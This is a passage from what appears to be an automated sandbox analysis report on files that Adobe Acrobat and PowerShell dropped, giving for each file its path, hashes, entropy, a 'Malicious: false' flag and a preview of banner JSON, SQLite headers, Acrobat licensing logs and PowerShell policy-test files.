Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322862125892332
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJfzdPeUkwRe9:YvXKX3wXGzMcvHVGb8Ukee9
MD5:	0AF24499067071A7CD60105C718D42E1
SHA1:	08C420FEE3B63E1C57EA535A86B5FB6F422DAD76
SHA-256:	F2DA01381443BB25E60D1266530DC8A6C127093109AA8166B04DB76E76533951
SHA-512:	4C491FA5F71ACA7EECB0DC459B147774C862BE0FDF566E4C398B96915A5433C3D9CA872DDC975A2A44F193FFF5B989A4BA8C1F1BCDDCDC6A7490B79369B34125
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303855979512397
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJfYdPeUkwRe9:YvXKX3wXGzMcvHVGg8Ukee9
MD5:	8044A6A1F76B06BF5B231AFEF6056B19
SHA1:	BC63A9C7D82A83E8A1942ADDFBC5FB4D4CCB3851
SHA-256:	FF5E087842DFFE6001FCA077F07FBE145AA9EE3C8E41C56174E13741CA1EC87A
SHA-512:	3F7325C36BDD9F28DE16E14B702633064CDCDD360FBC73683B0321DD51AFAE00ABA25CCD8762215803FD6AB754E6EE801F5C7C808A3C5AC412D3EBAA1934171E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.289974239298517
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJf+dPeUkwRe9:YvXKX3wXGzMcvHVG28Ukee9
MD5:	C1873665571E928703F2CD1700A08159
SHA1:	4E6D47176136E3228CF7A00BF796A80FE0D44082
SHA-256:	BB14BF8E74111F2338B2F1EBCE5278B86DC0E93A02AEC41536F3EECBC805C767
SHA-512:	B45A800B6BE62EDEE7BFE85922E576226A490E5A58F790DCC7720745E6F89106FA1173A0A01AFC02AD4D64358F3C6E6279E5631ACDFCD80B2E3029C6DC751F34
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.287376575608857
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJfbPtdPeUkwRe9:YvXKX3wXGzMcvHVGDV8Ukee9
MD5:	C8CFB01E9C7535A1D01EC531CD21B658
SHA1:	8F1FB7F28CA11143CEFAF1BC958BD292697A889E
SHA-256:	28EFB615ED7A30641B6D8A793F12B4111E9C7D649B23BCF88A30A7E2A1A871F6
SHA-512:	4BE85C1E0DCD50BB9F61312F7F12C4FCB4B8F4AD1F242679BA2DEF9E625A121F596CB8D998ED570FD5244824C3891FB5297F9AF4D29145C9B085C23467A459C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2911071340241405
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJf21rPeUkwRe9:YvXKX3wXGzMcvHVG+16Ukee9
MD5:	DF9182315E495A76772A75383AE382BA
SHA1:	0F36DF3A309462D764B4641FCA6156360880E11F
SHA-256:	8C1F4C47123A639DFE743401C607620FFF41EE6660A7E4689FB56879BF07C3B3
SHA-512:	C8DACE0390F6BE2CA2040034E2BAD93267D86F0E86B14ABA7098573999E4B7D74C36E8AFDCA44E1217D8CC394D329072BEB19B0D0E9D21BD54257B8EC0875DFF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6630901464412045
Encrypted:	false
SSDEEP:	24:Yv6Xg0vGamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSk:YvmIBgkDMUJUAh8cvMk
MD5:	3EBBD5F1DAFEB49D337320CCAE5C4CEE
SHA1:	DCE42B640E2F1BAB6C8877A327A78F7CC3BA491E
SHA-256:	DAAB867D25C2ED4282AC6FEF854637E6C9EB1F25141EE98A644A631FB8BB40A0
SHA-512:	061405748317131030F1785183D18F3A6C5854E049A05A12C6CF3A97497B72887C12A7C5FCE0D054CD60821389879D5967B5E9C0953B9265189B2607B9B5E779
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.267439423058562
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJfshHHrPeUkwRe9:YvXKX3wXGzMcvHVGUUUkee9
MD5:	A78CF5582286C5045A7287F3F0C05710
SHA1:	D46196AC36D19571B3C2523A9284F1C0639DE5AB
SHA-256:	49DBD13084F84E3EA7E21381E62BCFFEB5E16AF0B5B84FB32AB19264BB501017
SHA-512:	3B91788C3A608F19169AB3E2C06D6C7FDDAF672B336E33E9BEEDAED31936E8926B533DDD47024942F8A92C27CDA838FE4AF5660714660FA5A58882898E2BF27E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2704458030566865
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJTqgFCrPeUkwRe9:YvXKX3wXGzMcvHVGTq16Ukee9
MD5:	2389A724FD1EAAC3AF589E2A3C46F770
SHA1:	784AAC4F64ABDB0DB0191C47D7D36115AFD61CFC
SHA-256:	A4BBC66F403B3EB72BDDBB0EA04A03EAAD9BC6F82FABCEA537E66A20E04ED8FD
SHA-512:	80708D9B83F807CD03B9BD885E17B74C2E3CA9C314B76E2A34BE7E4D2E35614ED07B900ECD6A1ED036BDFD5A68587CE6209A94DB7568107C87B944E0E3D53989
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14361661221735
Encrypted:	false
SSDEEP:	24:YB1iGaWaytADvFJtxMimRi4slpPjQ4Vsj0SDfY8HGC2qlBL2LSDJeRC/Ta5u8rjF:YBQtok3V+LX1LMwQ3P0dO19L9hD
MD5:	1A25C4DB157401BBDB04BE71DB385201
SHA1:	DAA024AF028DF4644966E431CF6ED952084EB326
SHA-256:	353D58DC37102B9064BEE6A3366409C5A5AFB82FD2908F98DDF344BBA78DA2F0
SHA-512:	B1BB5C538CF374096FD0FF937889444EEA9675DA81E7C6BBE60555A9750526A1B5EC7F78CD84AC629E21860828F7976374D055EF9B66A9850BF701903AC744B7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b3fe74ac6dff986c8d14863ee8d36f45","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558339000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ec434ef75afbafe0ebf22169501305f1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558339000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9d38d45992f07c9fec928addffe14a88","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558339000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"59566f868d2a24c427c3772431ddab77","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558339000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"4e229160460aeec894c672516dd75eaa","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558339000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a9bea4bd2f2be881887134b005a4b2b2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146279137547047
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs8RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcH3:TFl2GL7msOXc+XcGNFlRYIX2v3k3
MD5:	E00B59815B8AC4573DA29AFDB6B472FF
SHA1:	6E22DA5377B80DE913C13AF8842E76E5E56BB7FF
SHA-256:	39DC0B878B55AD565E17B8494D5EE16A7B8ADFE800E4EB43F440195D91BEA57D
SHA-512:	AAF37DBEFC6945F08D6DBB8A5AFC0E08C02C4AC564544B5CB89F5444EF7334224D8E777C12F10C6CFE9668774EADF96719D5C8445219DAF3D2518BAD78F94B0A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5518180606152192
Encrypted:	false
SSDEEP:	24:7+tJikUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxtqLxx/XY6:7MyXc+XcGNFlRYIX2vkqVl2GL7msX
MD5:	FC3A5DD7354D839FB508C7EEAEBCA195
SHA1:	6298F9C6916F2775C170D0D62A3983167BE109C3
SHA-256:	86F8017499CD5A550DF1576378CF434470E4FEFE4A925E5571DE5BBA44BB6A2A
SHA-512:	36B5EF0DB75D6492F0EB4C5F189835F669C56BDD663AF6A9299D107911175951A5ED211E7F3A5F64931F2CC51CC6A25FDC948C27402438BCFD8D33EE725E2F96
Malicious:	false
Preview:	.... .c........O..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgJGjXNPFPr89xoWMOVeBSDrTcniYyu:6a6TZ44ADEJGhPFPr0xfMTaK
MD5:	9D7D5DDF4D5052B6B502E38F8C21AE0F
SHA1:	3BFC134CBABE6523B19B43D711F476578B04F799
SHA-256:	ACB680380AA9ACC3953CFF281C36F6147ADC2E5A649F89D5B0BFE7E6B4631226
SHA-512:	F159E4069DAE56CEC261DA0BC19F8FB5C83C65AE2CB75604E7BD63B6B52720DF8E08D5CE89953CAA283AD785EF3D3C8EE5C7AE7D19D803E1D9338036AB90BC40
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIe57cd.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5030768995714583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClTlww:Qw946cPbiOxDlbYnuRK+bkqw
MD5:	42F426401E9849E9B6E02B0272ED4FCD
SHA1:	0B3015845504217B48BD89BCC0F1221ED1E3FB18
SHA-256:	3DFC2CD35E4DC62B23C298646C4DFCD50BF478C48FBAF4F9BA3C788E74484061
SHA-512:	9DBFE68A744F6000010A00529283260099D2A2F6CABE1D20B3A4265C3E5A094CE6A89015DC0BF694B44829882DA415F8F57B09D911EE908032D965ED3FC254DF
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.8.:.5.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_diqyb11h.ovm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sijzkf2t.j1b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-18-51-896.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.373926963013366
Encrypted:	false
SSDEEP:	384:1dhwJ9EeATYopbmy9mxH1n8ZZGV2xY8M7wUYW6GwdKAmIcze2pnVsTs106MpYccj:+Kc
MD5:	F057B909EFCBE06AFFAB714DAF30718A
SHA1:	2E3CFB5C5578ADD9DF14F01255B95E46004A003F
SHA-256:	7F3D24331B41EF42C008F65B66CB75E7C0BFA7A74DEA43B38388FF7D60DBA82B
SHA-512:	DBEF1AB296BC93264C3206CFC33C369A4131B92D8F7AFE35A7B9A31DC91AEC8E0EC87ADD89C8319D2BE0067C7F94621ADBED5691ABB48C230D0B9F70EFAF1492
Malicious:	false
Preview:	SessionID=862634ad-9f8f-4072-a657-354574939b2a.1736558331911 Timestamp=2025-01-10T20:18:51:911-0500 ThreadID=7440 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=862634ad-9f8f-4072-a657-354574939b2a.1736558331911 Timestamp=2025-01-10T20:18:51:933-0500 ThreadID=7440 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=862634ad-9f8f-4072-a657-354574939b2a.1736558331911 Timestamp=2025-01-10T20:18:51:933-0500 ThreadID=7440 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=862634ad-9f8f-4072-a657-354574939b2a.1736558331911 Timestamp=2025-01-10T20:18:51:933-0500 ThreadID=7440 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=862634ad-9f8f-4072-a657-354574939b2a.1736558331911 Timestamp=2025-01-10T20:18:51:933-0500 ThreadID=7440 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39626806413355
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbEPcbUIhHcbV:V3fOCIdJDeyKhA
MD5:	114CE76CB66EC73B092475206908E51A
SHA1:	25796A3E191C6602008BD066B1FFA6CF5D5AF11D
SHA-256:	081F80B34F60C9DE83E03F90BA057449992AFE792C04C6A92857B16987A3518B
SHA-512:	5BD97A07231350CB49FEF4D1D9BE0077653CD9C2F7D1EB748AC111C957C30B8811C2960F8E2572E86CD6D4D5783C0A45C886E942EE55A3C4048F6A551A876F7E
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\30b357db-a7ac-4e8a-916c-5dee6f3b8af0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
